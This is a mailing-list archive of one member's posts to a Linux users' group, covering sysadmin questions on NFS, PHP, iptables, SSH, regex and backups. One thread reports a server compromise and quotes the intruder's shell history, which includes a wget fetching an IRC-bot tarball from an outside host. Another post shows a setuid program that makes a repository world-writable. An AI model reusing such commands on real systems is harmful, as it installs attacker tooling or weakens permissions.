Re: [Eug-lug] Oracle Follows the herd

2006-04-18 Thread Jim Beard
onto some other database platforms. I don't know what RedHat is going to do with JBoss other than try to sell it just like every thing else they have purchased. Larry Ellison is not some one I take very seriously other than his "The Paranoid Survive" quote. Mike Miller On 4/17/06, Ji

Re: [Eug-lug] Oracle Follows the herd

2006-04-17 Thread Jim Beard
They should just partner with RedHat or something. Seems like a dumb move for Oracle if you ask me. They will have to expend a lot of resources maintaining / patching / supporting the distro. Maybe they are counting on that being a revenue stream.. Jim On Apr 17, 2006, at 10:44 AM, larr

Re: [Eug-lug] NFS

2006-04-13 Thread Jim Beard
/etc/exports is the key! No longer a problem. Please pardon the spam. Jim On Apr 13, 2006, at 10:23 AM, Jim Beard wrote: Hey howdy, I have an older system (redhat 9, shrike) that acts as a file server. Another server (probably also rh 9, maybe rh7.2) mounts the file-server partition

[Eug-lug] NFS

2006-04-13 Thread Jim Beard
Hey howdy, I have an older system (redhat 9, shrike) that acts as a file server. Another server (probably also rh 9, maybe rh7.2) mounts the file-server partition using NFS. I set this up over a year ago. I'm now trying to mount that partition via NFS from a different, newer, server (f

Re: [Eug-lug] Paradigm Shift o' the Day

2006-04-13 Thread Jim Beard
For information on national state incentives for renewable energy check out: http://www.dsireusa.org/ Eventually I'd like to have a Solar setup (and maybe some other types) feeding back into the grid myself. Jim On Apr 12, 2006, at 6:03 PM, John Sechrest wrote: "Ben Barrett" <[EMAIL P

Re: [Eug-lug] Looking for Calendar

2006-04-11 Thread Jim Beard
Apache needs a php mod or some sort of configuration to tie into the systems php install. Jim On Apr 11, 2006, at 4:20 PM, Matthew Jarvis wrote: John Sechrest wrote: the one that I have used before is webcalendar. I just love being handcuffed by my own ignorance For grins I went with

Re: [Eug-lug] Mac hints?

2006-04-04 Thread Jim Beard
I use OO on my PowerBook G4. I didn't really have to do anything, other then make sure X was on the system. I don't use neooffice. .02$, Jim On Apr 4, 2006, at 3:55 PM, Mike Cherba wrote: Jamie, I got OO working fine on my mother's in law imac. The trick seemed to be finding the prope

Re: [Eug-lug] Getting a machine on the network

2006-03-28 Thread Jim Beard
Matt, The simplest way is to make entries for it in the host files of the individual machines that will be accessing it. The more complex way (Someone can correct me if I'm way off base here) is to run a local DNS server that maps it for you. Then add the local DNS server to all of the c

Re: [Eug-lug] ASCII art from ./configure

2006-03-20 Thread Jim Beard
The favorite easter egg I have found was in the OpenBSD kernal. I was doing an upgrade and fubar'd something a little bit. When booting, my system would then hit some sort of kernal trap. Instead of some random error message, it printed out a little hang man noose. It then let you play

Re: [Eug-lug] UO CIS Faculty Search Colloquium, Thursday, March 16, 2006 (fwd)

2006-03-16 Thread Jim Beard
I'm pretty sure I went to school with this guy while I was up at U- dub. Small world.. On Mar 15, 2006, at 10:59 PM, horst wrote: Jeffrey Nichols got a good point: Among many things, just switching cell phones, watches, alarm clocks,... from ancient am/pm to 24 hr mode can be a pain in the

Re: [Eug-lug] Results of traceroute command

2006-03-14 Thread Jim Beard
If every hop is slow, then I would suspect the bottleneck is local to your network. IE. your router, your NIC or some other local device. That is just my somewhat uneducated guess... - Jim On Mar 14, 2006, at 8:43 AM, Matthew Jarvis wrote: Like everyone else in IT I get a lot of "the intern

Re: [Eug-lug] Quickbooks install question

2006-02-24 Thread Jim Beard
Matthew, We recently started using an application called Data Flow Manager. It is made by a software company called Atandra. It is a windows application that allows you to build import and export interfaces with QuickBooks. We have ours connect to a postgress database and load the dat

Re: [Eug-lug] The weekly "Where's the meeting this week?" thread

2006-02-22 Thread Jim Beard
I think, in general it is more a phenomenon of computers acting better in theory then in reality. On Feb 22, 2006, at 10:36 AM, larry price wrote: On 2/22/06, Bob Miller <[EMAIL PROTECTED]> wrote: Mike Cherba wrote: I'll second Mezza Luna and nominate 6:00 PM. This whole thread is makin

Re: [Eug-lug] vfat hd mounting weirdness

2006-02-15 Thread Jim Beard
I'll think about it. :P It's an issue on a running file server that is used by most people in the office. I hate rebooting machines like that unless I HAVE to. Mike Cherba wrote: The reason I bring this all up is because I am suggesting that Jim try a reboot before testing the other drive.

Re: [Eug-lug] Logic and programmers?

2006-02-14 Thread Jim Beard
My .02$: When I was a junior in the U of O CIS dept. I watched A LOT of people graduate that I would in NO WAY hire. These people were idiots that were not able to think on their own and did not have the skill sets needed to be valuable employees that could take on tasks and responsibil

Re: [Eug-lug] vfat hd mounting weirdness

2006-02-14 Thread Jim Beard
t after plugging the drive in? Can you see it with "fdisk" or "cfdisk"? --- Jim Beard <[EMAIL PROTECTED]> wrote: Howdy folks, I'm working with a redhat 9 (shrike) system. It acts as a file server, and I use some cron scripts to mount a few different usb hard dr

[Eug-lug] vfat hd mounting weirdness

2006-02-13 Thread Jim Beard
Howdy folks, I'm working with a redhat 9 (shrike) system. It acts as a file server, and I use some cron scripts to mount a few different usb hard drives to dump backups onto. This allows the hard drives to be easily rotated and used as offsite back ups. For wide spread OS readability I

Re: [Eug-lug] Linux vs. Win98

2006-02-13 Thread Jim Beard
We had an employee that used Crossover office for dealing with M$ formatted files. It worked well. He had only good things to say about it. Jim On Feb 12, 2006, at 9:03 AM, Bob Miller wrote: Jeff Newton wrote: Now, if I leave (an idea, I'm considering) Linux on it, I would want it to

Re: [Eug-lug] Counting Number of Lines

2006-02-08 Thread Jim Beard
The MVP award goes to xargs I think. I've don't remember being exposed to that command to the point where I went and read its man pages. Seems like a very helpful utility. Jim On Feb 7, 2006, at 5:19 PM, T. Joseph CARTER wrote: On Tue, Feb 07, 2006 at 03:03:07PM -0800, Michael Miller wro

Re: [Eug-lug] Counting Number of Lines

2006-02-07 Thread Jim Beard
Bob, You've always got the answer for me!:)On Feb 7, 2006, at 4:37 PM, Bob Miller wrote:find . | xargs cat | wc -l ___ EUGLUG mailing list euglug@euglug.org http://www.euglug.org/mailman/listinfo/euglug

[Eug-lug] Counting Number of Lines

2006-02-07 Thread Jim Beard
Hey all! I got a shell scripting question for the collective masses. I want to know the total number of lines in a programming project I'm working on. I figured the fastest way (If I knew the syntax) would likely be to type in a big archaic shell script command that would concatonate al

Re: [Eug-lug] Regex

2006-01-18 Thread Jim Beard
all the regex advice. I'm guessing I threw a few patterns that should have worked at it, but that sequence of characters really doesn't exist in the string. - Jim On Jan 17, 2006, at 3:57 PM, Jim Beard wrote: Yes, I tried this pattern originally. Trying it again still yields an unc

Re: [Eug-lug] Regex

2006-01-17 Thread Jim Beard
;" and Java needs the backslashes escaped in string literals. -Mike On Tue, 2006-01-17 at 15:14 -0800, Jim Beard wrote: You are basically correct Mike. <--- Sample Code --> // set up the xml string File asynchFile = new File("../some.xml"); Fi

Re: [Eug-lug] Regex

2006-01-17 Thread Jim Beard
so we can see the context? I'm sure someone on here will have some ideas. -Mike Pointers are like jumps, leading wildly from one part of the data structure to another. Their introduction into high-level languages has been a step backwards from which we may never recover.

[Eug-lug] Regex

2006-01-17 Thread Jim Beard
Ok, I know this isn't exactly the list for it, but I've been reading online for a while now and can't make heads or tails of my problem. I want to match convert '<' sequences to '<' using a replace method that matches on a regex pattern. I'm using Java and am having 0 luck. No sites on

Re: [Eug-lug] Comcast internet and linux?

2005-12-13 Thread Jim Beard
cience, the one that heralds the most discoveries, is not Eureka! (I found it!) but 'That's funny...’ - Issac Asimov ___ EUGLUG mailing list euglug@euglug.org http://www.euglug.org/mailman/listinfo/euglug Jim Beard counterclaim, Inc ht

Re: [Eug-lug] iptables

2005-11-01 Thread Jim Beard
the https port. If you specifically need to forward https over port 80 (to deal with someone's (idiotic) firewall setup) you could try doing https://example.com:80/some/path/ you would have to do some configuration on the server end. On 10/31/05, Jim Beard <[EMAIL PROTECTED]> wrote: Ho

Re: [Eug-lug] iptables

2005-10-31 Thread Jim Beard
What are you running to have something at the https port? That same program should be able to do the http port. Jim Beard <[EMAIL PROTECTED]> writes: % I can see that I may have to go that route, and that's fine. I just % thought I'd try a quick solution first. Altho

Re: [Eug-lug] iptables

2005-10-31 Thread Jim Beard
will be used will be to redirect... Jim On Oct 31, 2005, at 12:10 PM, larry price wrote: On 10/31/05, Jim Beard <[EMAIL PROTECTED]> wrote: I do want to go from an http request to an https. Sending an http redirect is the only way to accomplish this? Using a redirect causes the browser

Re: [Eug-lug] iptables

2005-10-31 Thread Jim Beard
iotic) firewall setup) you could try doing https://example.com:80/some/path/ you would have to do some configuration on the server end. On 10/31/05, Jim Beard <[EMAIL PROTECTED]> wrote: Howdy Folks, I have a question about port forwarding with iptables. I want to forward port

[Eug-lug] iptables

2005-10-31 Thread Jim Beard
name is a random string of characters, like "v8bdpmp2". The files created if I save are listed as 1k in size. Anyone have any advice? It seems like it should work. I don't have any other rules set up in my nat table or on the forward list... Jim Beard counter

[Eug-lug] Entry Level Programming Position

2005-07-18 Thread Jim Beard
email resume with cover sheet to [EMAIL PROTECTED] Thank you, Jim Beard counterclaim, Inc http://www.counterclaim.com http://openefm.sourceforge.net (800) 264-8145 ___ EUGLUG mailing list euglug@euglug.org http://www.euglug.org/mailman/listinfo/euglug

Re: [Eug-lug] Brute Force Hacking Attempts

2005-05-11 Thread Jim Beard
the bootP tar ball is an irc bot. The irc-bot was connected to an irc server in finland. On May 11, 2005, at 3:46 PM, Jim Beard wrote: Welp, We were compromised. I found this in a history file: 176 wget xena.utcluj.ro/~redalien/psyBNC2.3.2-4.tar.gz 177 tar zxvf psyBNC2.3.2-4

Re: [Eug-lug] Brute Force Hacking Attempts

2005-05-11 Thread Jim Beard
k some of this stuff out. remember that your tools can't do your thinking for you. On 5/10/05, Jim Beard <[EMAIL PROTECTED]> wrote: Howdy folks, So the other day I had a RedHat server hang on me. It had been up for 250ish days I think, so I rebooted it and started looking th

[Eug-lug] Brute Force Hacking Attempts

2005-05-10 Thread Jim Beard
nd to ssh connections. My guess was that it ran out of process ids or the /var partition filled up... Jim Beard counterclaim, Inc http://www.counterclaim.com http://openefm.sourceforge.net (800) 264-8145 ___ EUGLUG mailing list euglug@euglug.org

Re: [Eug-lug] Unix 'time' command

2005-03-30 Thread Jim Beard
Wed, 30 Mar 2005 14:37:50 -0800, Jim Beard <[EMAIL PROTECTED]> wrote: Howdy folks, It's time for my bi-weekly simple(for some!) unix/linux question! I'm working on a shell script to automate some back ups using rsync. I would like to know how long the rsync process takes

[Eug-lug] Unix 'time' command

2005-03-30 Thread Jim Beard
2>'s and 2>&1's all sprinkled about. Does anyone have any experience with this? Jim Beard counterclaim.com, Inc http://www.counterclaim.com http://openefm.sourceforge.net (800) 264-8145 ___ EUGLUG mailing list euglug@euglug.org http://www.euglug.org/mailman/listinfo/euglug

[Eug-lug] Java Web Application Developer Wanted

2005-02-25 Thread Jim Beard
, Postgres, JBoss, Tomcat, Apache, and other such tools, is desired. Other Java technologies the applicant should know include Ant, JUnit, SAX/DOM/DOM4J, and OJB. Compensation based on experience. Please email any resumes to [EMAIL PROTECTED] Jim Beard counterclaim.com, Inc http://www.counterclaim.com

Re: [Eug-lug] setuid programs

2005-02-21 Thread Jim Beard
overkill in an attempt to address the problem thoroughly and quickly. This may not be the best of practice for security reasons, but I bet its very common in a lot of companies. - Horst In reply to: Date: Fri, 18 Feb 2005 14:24:39 -0800 From: Jim Beard <[EMAIL PROTECTED]> Reply-To: Eugene Un

Re: [Eug-lug] setuid programs

2005-02-18 Thread Jim Beard
Thanks Bob! Your responses are always very helpful :) On Feb 18, 2005, at 3:22 PM, Bob Miller wrote: Jim Beard wrote: The C code looks like this: #include int main () { execl("/bin/chown", "-R server /var/cvs/repository"); execl("/bin/chgrp", "-R", &

[Eug-lug] setuid programs

2005-02-18 Thread Jim Beard
chown", "-R server /var/cvs/repository"); execl("/bin/chgrp", "-R", "server", "/var/cvs/repository"); execl("/bin/chmod", "-R o+w /var/cvs/repository"); } Anyone know why this isn't working? Anyone have a better solut

Re: [Eug-lug] SSH Connection Problems

2005-02-03 Thread Jim Beard
to. It just seems weird because it doesn't kill my connections... Thanks, Jim On Feb 3, 2005, at 11:46 AM, Jim Beard wrote: Neat. The -vvv option seems like it might help shed some light on the situation, at least as long as he uses a client that allows it. He is working from a wi

Re: [Eug-lug] SSH Connection Problems

2005-02-03 Thread Jim Beard
2005 10:24:30 -0800, Jim Beard <[EMAIL PROTECTED]> wrote: One person in our office is experiencing some mysterious SSH connection problems. When they connect to a specific server their connection dies frequently. No one else on the LAN has experienced this. Network cables have been

[Eug-lug] SSH Connection Problems

2005-02-03 Thread Jim Beard
Other users branching off of the closest hub to him do not experience the problem. Anyone have any idea what might be going on? Or how to determine what might be happening? Would an IP conflict somewhere cause any of this? Jim Beard counterclaim.com, Inc http://www.counterclaim.com

Re: [Eug-lug] Perl and Apache RE: Wiki

2004-12-21 Thread Jim Beard
On Dec 21, 2004, at 1:26 PM, Po Petz wrote: On Tue, 21 Dec 2004, Jim Beard wrote: In /usr/lib/perl5/5.8.0 there exists a file called CGI.pm, and CGI.pm.newcgi. I created the CGI.pm file from the .newcgi file in hopes that it would see it and execute. Is this my problem? I had the same issue

Re: [Eug-lug] Perl and Apache RE: Wiki

2004-12-21 Thread Jim Beard
On Dec 21, 2004, at 11:50 AM, Rob Hudson wrote: On 20041221.1129, Po Petz said ... On Tue, 21 Dec 2004, Jim Beard wrote: Only problem is my Perl and Apache config seems a bit boinked. Describe the perl and apache. Are they redhat 9 defaults? Did you update them with some other rpms? Rebuilt

Re: [Eug-lug] Informal Mac OS X poll

2004-12-21 Thread Jim Beard
, various useless Rendezvous (using Cocoa) projects, an old (simple) 10.2 kernel hack to enable clamshell mode on the 2nd gen TiBooks. Lots of not-quite-OS X-specific perl projects. /per ___ EUGLUG mailing list euglug@euglug.org http://www.euglug.org

[Eug-lug] Perl and Apache RE: Wiki

2004-12-21 Thread Jim Beard
ath in a config file. Basically it seems like I do have the CGI module, but it's not getting found. Does anyone have any idea what might be causing this?? Jim Beard counterclaim.com, Inc http://www.counterclaim.com http://openefm.sourceforge.net (800) 264-8145 _

[Eug-lug] PHP Config Issues: The Final Solution

2004-11-16 Thread Jim Beard
installation is complete, via rpms, and everything seems copacetic... for now... Thank you all for any insight that you provided during my times of troubles.. Jim Beard counterclaim.com, Inc http://www.counterclaim.com http://openefm.sourceforge.net (800) 264-8145 _

Re: [Eug-lug] Re: [EUGLUG] PHP Config Issues

2004-11-16 Thread Jim Beard
On Nov 15, 2004, at 7:27 PM, Jacob Meuser wrote: just a word of warning ... ... eventually, you will likely hit an incompatability. Agreed. But it does sound like fun now doesn't it? Jim Beard counterclaim.com, Inc http://www.counterclaim.com http://openefm.sourceforge.net (800) 264

Re: [Eug-lug] Re: [EUGLUG] PHP Config Issues

2004-11-15 Thread Jim Beard
Larry is my hero for the day. This sounds like very solid advice. Maybe next I'll challenge you with OpenBSD trivia! On Nov 15, 2004, at 6:45 PM, larry price wrote: On Mon, 15 Nov 2004 17:40:30 -0800, Jim Beard <[EMAIL PROTECTED]> wrote: So where I'm at now is I have an rpm

Re: [Eug-lug] Re: [EUGLUG] PHP Config Issues

2004-11-15 Thread Jim Beard
lots of time. On Mon, 15 Nov 2004 16:48:38 -0800, Jim Beard <[EMAIL PROTECTED]> wrote: Now when I try to install the php-mysql rpm I still get the dependence for the libmysqlclient.so.10 library. rpm -q --provides tells me that the shared rpm I just installed provides libmysqlclient.so.12.

Re: [Eug-lug] Re: [EUGLUG] PHP Config Issues

2004-11-15 Thread Jim Beard
e ( I know I've used this trick on other machines ) but, that might not get me past the rpm dependency issue. Should I just force the rpm install and link the library? Any thoughts? On Nov 15, 2004, at 4:17 PM, Ken Barber wrote: On Monday 15 November 2004 4:11 pm, Jim Beard wrote: I fo

Re: [Eug-lug] PHP Config Issues

2004-11-15 Thread Jim Beard
ith an un-responsive rpm program Maybe I will just give up and reboot :P On Nov 15, 2004, at 4:13 PM, Ken Barber wrote: On Monday 15 November 2004 1:28 pm, Jim Beard wrote: RPMs definitely seem like the best way to handle this. I believe I can simply install the php-mysql-4.2.2 rpm and i

Re: [Eug-lug] Re: [EUGLUG] PHP Config Issues

2004-11-15 Thread Jim Beard
2.2 version? Should I attempt to remove the 4.2.2 version first? Is there a better way altogether that I'm not aware of to accomplish this? ___ EUGLUG mailing list [EMAIL PROTECTED] http://www.euglug.org/mailman/listinfo/euglug Jim Beard

Re: [Eug-lug] PHP Config Issues

2004-11-15 Thread Jim Beard
ith the features you want already builtin On Mon, 15 Nov 2004 12:13:15 -0800, Jim Beard <[EMAIL PROTECTED]> wrote: Howdy folks, I've been running into some fun issues with php and was wondering if anyone out there had some good advice for me. I have a RedHat 9.0 s

[Eug-lug] PHP Config Issues

2004-11-15 Thread Jim Beard
to be able to compile it in? Also, am I going to shoot myself in the foot if I do a 'make install' of the 4.3.9 version on top of the 4.2.2 version? Should I attempt to remove the 4.2.2 version first? Is there a better way altogether that I'm not aware of to accompl

Re: [Eug-lug] Meeting place, again

2004-10-28 Thread Jim Beard
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Re: [Eug-lug] Software Dev: Bug Tracking

2004-09-30 Thread Jim Beard
customize the dataset and UI for inputing a new bug into the system. This isn't actually that big of a deal tho, as it is already collecting 99% of what I wanted, with hardly any data fields that I did not want. Jim On Sep 28, 2004, at 6:20 PM, Po Petz wrote: On Tue, 28 Sep 2004, Jim Beard w

Re: [Eug-lug] OT: Eugene cell carrier recommendations?

2004-09-30 Thread Jim Beard
n Tue, Sep 28, 2004 at 12:20:07PM -0700, Jim Beard wrote: I've used Verizon for quite a while and usually have really strong signals all around Eugene. Except at the university. Everyone's signal sucks at the university. ___ EUGLUG mailing l

Re: [Eug-lug] Software Dev: Bug Tracking

2004-09-28 Thread Jim Beard
m where one does not exist. It's not perfect, but as a lesser alternative to Bugzilla there are far worse. If you have a budget, FogBugz is hella sexy for $100 a seat. -po ___ EUGLUG mailing list [EMAIL PROTECTED] http://www.euglug.org/mailman/l

Re: [Eug-lug] Software Dev: Bug Tracking

2004-09-28 Thread Jim Beard
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[Eug-lug] Software Dev: Bug Tracking

2004-09-28 Thread Jim Beard
was working with at the time, eventually stopped using Bugzilla because it seemed to be overly complex. There too many features and things to track, it became cumbersome and a bit overwhelming. Has anyone used a simple bug tracking tool that they really liked? Jim Beard counterclaim.com, Inc

Re: [Eug-lug] OT: Eugene cell carrier recommendations?

2004-09-28 Thread Jim Beard
.yahoo.com ___ EUGLUG mailing list [EMAIL PROTECTED] http://www.euglug.org/mailman/listinfo/euglug Jim Beard counterclaim.com, Inc http://www.counterclaim.com http://openefm.sourceforge.net (800) 264-8145 ___ EUGLUG mailing list [EMAIL PROTE